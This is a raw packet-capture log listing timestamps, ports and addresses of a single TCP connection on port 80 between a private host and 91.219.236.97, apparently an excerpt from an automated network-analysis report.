Oct 29, 2021 20:30:48.451632023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451668978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451679945 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451708078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451746941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451751947 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451786041 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451826096 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451833010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451864004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451901913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451905012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.451941013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.451977015 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452013969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452042103 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.452052116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452059984 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.452090979 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452131033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452142954 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.452167034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452205896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452219009 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.452244043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452280998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452289104 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.452310085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.452354908 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.482997894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483026028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483042955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483057976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483069897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483082056 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483091116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483108044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483123064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483139038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483143091 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.483156919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483174086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483182907 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.483191013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483207941 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.483303070 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.483304977 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.483350992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.515153885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515203953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515238047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515269995 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515304089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515337944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515369892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515381098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.515405893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515410900 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.515440941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515455008 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.515469074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515501976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515512943 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.515536070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515572071 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515584946 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.515598059 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.515639067 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547223091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547266006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547303915 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547343016 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547379971 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547393084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547418118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547457933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547461987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547477007 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547498941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547544003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547549963 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547589064 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547646999 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547666073 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547707081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547744036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547755957 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.547771931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.547816038 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.580116034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580142021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580158949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580178976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580195904 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580212116 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580226898 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580243111 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580260038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580307007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580322981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580338955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580354929 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.580415964 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.580425978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.580471992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580488920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580517054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580530882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.580571890 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.580590010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.612874031 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612905979 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612920046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612931967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612945080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612962961 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612979889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.612996101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613012075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613028049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613044024 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613061905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613080978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613096952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613090992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.613110065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613125086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.613147020 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.613156080 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.613161087 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.613164902 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.613183022 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.645848989 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.645910978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646008015 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646059036 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646084070 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646147013 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646150112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646193981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646228075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646250010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646260023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646292925 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646308899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646327019 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646358013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646378040 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646392107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646461010 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646476984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646576881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646614075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646634102 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.646640062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.646689892 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.678828955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678857088 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678874969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678891897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678910017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678925991 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678941965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.678957939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.679125071 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.679172039 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.679976940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.679996014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.680118084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.805787086 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.838573933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.838609934 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.838797092 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.842772961 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842802048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842822075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842840910 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842863083 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842883110 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842897892 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.842905045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842927933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842950106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842951059 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.842973948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.842983007 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.842997074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843019009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843043089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843051910 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843067884 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843091011 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843091965 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843116045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843127012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843139887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843163013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843167067 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843184948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843208075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843210936 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843230963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843252897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843264103 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843277931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843297958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843317032 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843334913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843353987 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843369007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843388081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843400002 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843410969 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843436003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843445063 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843458891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843482018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843483925 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843504906 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843513966 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843528032 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843550920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843559980 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843575001 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843596935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843605995 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843619108 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843641996 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843662977 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843664885 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843684912 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843708992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843713045 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843732119 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843740940 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843754053 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843775988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843784094 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843796968 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843820095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843827963 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843842030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843859911 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843864918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843888044 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843909979 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843919992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843931913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843955040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843955040 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.843978882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.843997002 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.844002962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844024897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844048023 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844050884 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.844069958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844091892 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844096899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.844115019 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844136953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844137907 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.844160080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844181061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.844182968 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844213009 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.844227076 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.872320890 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.872374058 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.872442961 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877459049 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877527952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877567053 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877579927 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877608061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877608061 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877650976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877690077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877695084 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877744913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877790928 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877796888 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877841949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877881050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877885103 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877918959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877957106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.877964020 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.877995968 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.878035069 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.878036022 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.878074884 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.878112078 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.878114939 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.878149986 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.878190994 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.923635006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923661947 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923677921 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923693895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923710108 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923726082 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923741102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923758030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923774004 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923789978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923800945 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.923808098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923825026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923841000 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.923844099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923882008 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.923899889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923917055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923932076 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.923947096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.923980951 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924042940 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924060106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924076080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924104929 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924119949 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924185038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924202919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924221039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924221992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924238920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924252033 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924304008 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924377918 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924396038 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924432039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924439907 CEST	49812	80	192.168.2.7	91.219.236.97
